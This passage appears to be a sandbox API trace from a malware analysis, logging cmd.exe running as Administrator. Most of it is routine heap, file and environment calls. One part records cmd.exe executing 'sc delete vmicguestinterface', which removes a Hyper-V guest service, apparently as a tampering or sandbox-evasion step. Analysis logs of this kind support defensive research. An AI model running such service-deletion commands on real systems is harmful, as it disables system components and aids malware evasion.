dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.150] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0072.150] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e344, cchWideChar=1 | out: lpWideCharStr="tchange\n") returned 1 [0072.150] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.150] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.150] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0072.150] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e346, cchWideChar=1 | out: lpWideCharStr="ihange\n") returned 1 [0072.150] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.151] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.151] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0072.151] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e348, cchWideChar=1 | out: lpWideCharStr="nange\n") returned 1 [0072.151] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.151] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.151] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0072.151] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e34a, cchWideChar=1 | out: lpWideCharStr="tnge\n") returned 1 [0072.151] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.151] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.151] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0072.151] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e34c, cchWideChar=1 | out: lpWideCharStr="ege\n") returned 1 [0072.151] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.151] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.152] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0072.152] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e34e, cchWideChar=1 | out: lpWideCharStr="re\n") returned 1 [0072.152] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.152] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.152] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0072.152] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e350, cchWideChar=1 | out: lpWideCharStr="f\n") returned 1 [0072.152] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.152] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.152] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0072.152] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e352, cchWideChar=1 | out: lpWideCharStr="a") returned 1 [0072.152] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.152] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.152] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0072.153] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e354, cchWideChar=1 | out: lpWideCharStr="c") returned 1 [0072.153] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.153] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.153] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0072.153] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e356, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0072.153] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.153] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.153] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0072.153] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e358, cchWideChar=1 | out: lpWideCharStr="\n") returned 1 [0072.153] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.153] GetFileType (hFile=0xb8) returned 0x3 [0072.153] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.153] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.153] _get_osfhandle (_FileHandle=1) returned 0x120 [0072.154] GetFileType (hFile=0x120) returned 0x3 [0072.154] _get_osfhandle (_FileHandle=1) returned 0x120 [0072.154] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="sc delete vmicguestinterface\n", cchWideChar=-1, lpMultiByteStr=0x49f9c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sc delete vmicguestinterface\n", lpUsedDefaultChar=0x0) returned 30 [0072.154] WriteFile (in: hFile=0x120, lpBuffer=0x49f9c320*, nNumberOfBytesToWrite=0x1d, lpNumberOfBytesWritten=0x1afab8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesWritten=0x1afab8*=0x1d, lpOverlapped=0x0) returned 1 [0072.154] GetProcessHeap () returned 0x240000 [0072.154] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x4012) returned 0x260630 [0072.154] GetProcessHeap () returned 0x240000 [0072.154] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x260630 | out: hHeap=0x240000) returned 1 [0072.155] GetProcessHeap () returned 0x240000 [0072.155] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xb0) returned 0x2597e0 [0072.155] GetProcessHeap () returned 0x240000 [0072.155] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x16) returned 0x258900 [0072.156] GetProcessHeap () returned 0x240000 [0072.156] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x46) returned 0x25aa40 [0072.156] GetConsoleOutputCP () returned 0x1b5 [0072.156] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x49f9bfe0 | out: lpCPInfo=0x49f9bfe0) returned 1 [0072.156] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0072.157] GetConsoleTitleW (in: lpConsoleTitle=0x1afa70, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0072.157] GetProcessHeap () returned 0x240000 [0072.157] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x218) returned 0x259910 [0072.157] GetProcessHeap () returned 0x240000 [0072.157] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x4c) returned 0x255c50 [0072.157] GetProcessHeap () returned 0x240000 [0072.157] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x420) returned 0x258980 [0072.157] SetErrorMode (uMode=0x0) returned 0x1 [0072.157] SetErrorMode (uMode=0x1) returned 0x0 [0072.157] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x258990, lpFilePart=0x1af300 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x1af300*="Desktop") returned 0x25 [0072.158] SetErrorMode (uMode=0x1) returned 0x1 [0072.158] GetProcessHeap () returned 0x240000 [0072.158] RtlReAllocateHeap (Heap=0x240000, Flags=0x0, Ptr=0x258980, Size=0x62) returned 0x258980 [0072.158] GetProcessHeap () returned 0x240000 [0072.158] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x258980) returned 0x62 [0072.158] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x49f8f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0072.158] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0072.158] GetProcessHeap () returned 0x240000 [0072.158] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x128) returned 0x259db0 [0072.158] GetProcessHeap () returned 0x240000 [0072.158] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x240) returned 0x241ab0 [0072.158] GetProcessHeap () returned 0x240000 [0072.158] RtlReAllocateHeap (Heap=0x240000, Flags=0x0, Ptr=0x241ab0, Size=0x12a) returned 0x241ab0 [0072.158] GetProcessHeap () returned 0x240000 [0072.158] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x241ab0) returned 0x12a [0072.158] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x49f8f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0072.158] GetProcessHeap () returned 0x240000 [0072.158] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xe8) returned 0x259b30 [0072.158] GetProcessHeap () returned 0x240000 [0072.158] RtlReAllocateHeap (Heap=0x240000, Flags=0x0, Ptr=0x259b30, Size=0x7e) returned 0x259b30 [0072.159] GetProcessHeap () returned 0x240000 [0072.159] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x259b30) returned 0x7e [0072.159] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0072.159] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0xffffffffffffffff [0072.159] GetLastError () returned 0x2 [0072.159] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0xffffffffffffffff [0072.159] GetLastError () returned 0x2 [0072.160] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0072.160] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0x259bc0 [0072.160] FindClose (in: hFindFile=0x259bc0 | out: hFindFile=0x259bc0) returned 1 [0072.160] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.COM", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0xffffffffffffffff [0072.160] GetLastError () returned 0x2 [0072.160] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.EXE", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0x259bc0 [0072.160] FindClose (in: hFindFile=0x259bc0 | out: hFindFile=0x259bc0) returned 1 [0072.161] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0072.161] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0072.161] GetConsoleTitleW (in: lpConsoleTitle=0x1af5c0, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0072.161] GetProcessHeap () returned 0x240000 [0072.161] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x21c) returned 0x258a00 [0072.161] GetConsoleTitleW (in: lpConsoleTitle=0x258a10, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0072.161] GetProcessHeap () returned 0x240000 [0072.161] RtlReAllocateHeap (Heap=0x240000, Flags=0x0, Ptr=0x258a00, Size=0xb2) returned 0x258a00 [0072.161] GetProcessHeap () returned 0x240000 [0072.161] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x258a00) returned 0xb2 [0072.161] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe - sc delete vmicguestinterface") returned 1 [0072.162] GetProcessHeap () returned 0x240000 [0072.162] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x258a00 | out: hHeap=0x240000) returned 1 [0072.162] InitializeProcThreadAttributeList (in: lpAttributeList=0x1af378, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x1af338 | out: lpAttributeList=0x1af378, lpSize=0x1af338) returned 1 [0072.162] UpdateProcThreadAttribute (in: lpAttributeList=0x1af378, dwFlags=0x0, Attribute=0x60001, lpValue=0x1af328, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x1af378, lpPreviousValue=0x0) returned 1 [0072.162] GetStartupInfoW (in: lpStartupInfo=0x1af490 | out: lpStartupInfo=0x1af490*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xb8, hStdOutput=0x120, hStdError=0x120)) [0072.162] GetProcessHeap () returned 0x240000 [0072.162] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x20) returned 0x254610 [0072.162] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0072.162] _wcsnicmp (_String1="COPYCMD", _String2="=ExitCo", _MaxCount=0x7) returned 38 [0072.162] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0072.163] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0072.163] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0072.163] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0072.163] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0072.163] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0072.163] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0072.163] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3 [0072.163] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0072.163] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0072.163] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0072.163] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0072.163] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0072.163] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0072.163] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0072.163] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0072.163] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0072.163] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0072.163] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0072.163] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0072.163] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0072.163] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0072.163] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0072.163] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0072.163] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0072.163] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0072.164] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0072.164] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0072.164] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0072.164] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0072.164] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0072.164] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0072.164] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0072.164] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0072.164] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0072.164] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0072.164] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0072.164] GetProcessHeap () returned 0x240000 [0072.164] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x254610 | out: hHeap=0x240000) returned 1 [0072.164] GetProcessHeap () returned 0x240000 [0072.164] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x12) returned 0x255cb0 [0072.164] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\sc.exe", lpCommandLine="sc delete vmicguestinterface", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x1af3b0*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="sc delete vmicguestinterface", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x1af360 | out: lpCommandLine="sc delete vmicguestinterface", lpProcessInformation=0x1af360*(hProcess=0x50, hThread=0x54, dwProcessId=0x290, dwThreadId=0x408)) returned 1 [0072.169] CloseHandle (hObject=0x54) returned 1 [0072.169] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0072.169] GetProcessHeap () returned 0x240000 [0072.169] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25fb10 | out: hHeap=0x240000) returned 1 [0072.169] GetEnvironmentStringsW () returned 0x258a00* [0072.169] GetProcessHeap () returned 0x240000 [0072.169] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xb0e) returned 0x25ba10 [0072.169] FreeEnvironmentStringsW (penv=0x258a00) returned 1 [0072.169] NtQueryInformationProcess (in: ProcessHandle=0x50, ProcessInformationClass=0x0, ProcessInformation=0x1aec68, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x1aec68, ReturnLength=0x0) returned 0x0 [0072.169] ReadProcessMemory (in: hProcess=0x50, lpBaseAddress=0x7fffffdf000, lpBuffer=0x1aeca0, nSize=0x380, lpNumberOfBytesRead=0x1aec60 | out: lpBuffer=0x1aeca0*, lpNumberOfBytesRead=0x1aec60*=0x380) returned 1 [0072.169] WaitForSingleObject (hHandle=0x50, dwMilliseconds=0xffffffff) returned 0x0 [0072.342] GetExitCodeProcess (in: hProcess=0x50, lpExitCode=0x1af2a8 | out: lpExitCode=0x1af2a8*=0x424) returned 1 [0072.342] CloseHandle (hObject=0x50) returned 1 [0072.342] _vsnwprintf (in: _Buffer=0x1af518, _BufferCount=0x13, _Format="%08X", _ArgList=0x1af2b8 | out: _Buffer="00000424") returned 8 [0072.342] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000424") returned 1 [0072.342] GetProcessHeap () returned 0x240000 [0072.342] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25ba10 | out: hHeap=0x240000) returned 1 [0072.342] GetEnvironmentStringsW () returned 0x258a00* [0072.342] GetProcessHeap () returned 0x240000 [0072.342] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xb0e) returned 0x25ba10 [0072.343] FreeEnvironmentStringsW (penv=0x258a00) returned 1 [0072.343] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0072.343] GetProcessHeap () returned 0x240000 [0072.343] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25ba10 | out: hHeap=0x240000) returned 1 [0072.343] GetEnvironmentStringsW () returned 0x258a00* [0072.343] GetProcessHeap () returned 0x240000 [0072.343] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xb0e) returned 0x25ba10 [0072.343] FreeEnvironmentStringsW (penv=0x258a00) returned 1 [0072.343] GetProcessHeap () returned 0x240000 [0072.343] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x255cb0 | out: hHeap=0x240000) returned 1 [0072.343] DeleteProcThreadAttributeList (in: lpAttributeList=0x1af378 | out: lpAttributeList=0x1af378) [0072.343] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 1 [0072.344] _get_osfhandle (_FileHandle=1) returned 0x120 [0072.344] SetConsoleMode (hConsoleHandle=0x120, dwMode=0x0) returned 0 [0072.344] _get_osfhandle (_FileHandle=1) returned 0x120 [0072.344] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0x49f8e194 | out: lpMode=0x49f8e194) returned 0 [0072.344] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.344] GetConsoleMode (in: hConsoleHandle=0xb8, lpMode=0x49f8e198 | out: lpMode=0x49f8e198) returned 0 [0072.344] GetConsoleOutputCP () returned 0x1b5 [0072.345] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x49f9bfe0 | out: lpCPInfo=0x49f9bfe0) returned 1 [0072.345] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0072.345] GetProcessHeap () returned 0x240000 [0072.345] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x259b30 | out: hHeap=0x240000) returned 1 [0072.345] GetProcessHeap () returned 0x240000 [0072.345] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x241ab0 | out: hHeap=0x240000) returned 1 [0072.345] GetProcessHeap () returned 0x240000 [0072.345] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x259db0 | out: hHeap=0x240000) returned 1 [0072.345] GetProcessHeap () returned 0x240000 [0072.345] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x258980 | out: hHeap=0x240000) returned 1 [0072.345] GetProcessHeap () returned 0x240000 [0072.345] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x255c50 | out: hHeap=0x240000) returned 1 [0072.345] GetProcessHeap () returned 0x240000 [0072.345] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x259910 | out: hHeap=0x240000) returned 1 [0072.345] GetProcessHeap () returned 0x240000 [0072.345] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25aa40 | out: hHeap=0x240000) returned 1 [0072.346] GetProcessHeap () returned 0x240000 [0072.346] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x258900 | out: hHeap=0x240000) returned 1 [0072.346] GetProcessHeap () returned 0x240000 [0072.346] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x2597e0 | out: hHeap=0x240000) returned 1 [0072.346] _vsnwprintf (in: _Buffer=0x49fa6340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x1af7d8 | out: _Buffer="\r\n") returned 2 [0072.346] _get_osfhandle (_FileHandle=1) returned 0x120 [0072.346] GetFileType (hFile=0x120) returned 0x3 [0072.346] _get_osfhandle (_FileHandle=1) returned 0x120 [0072.346] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x49f9c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0072.346] WriteFile (in: hFile=0x120, lpBuffer=0x49f9c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x1af7a8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesWritten=0x1af7a8*=0x2, lpOverlapped=0x0) returned 1 [0072.346] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x49f8f360, 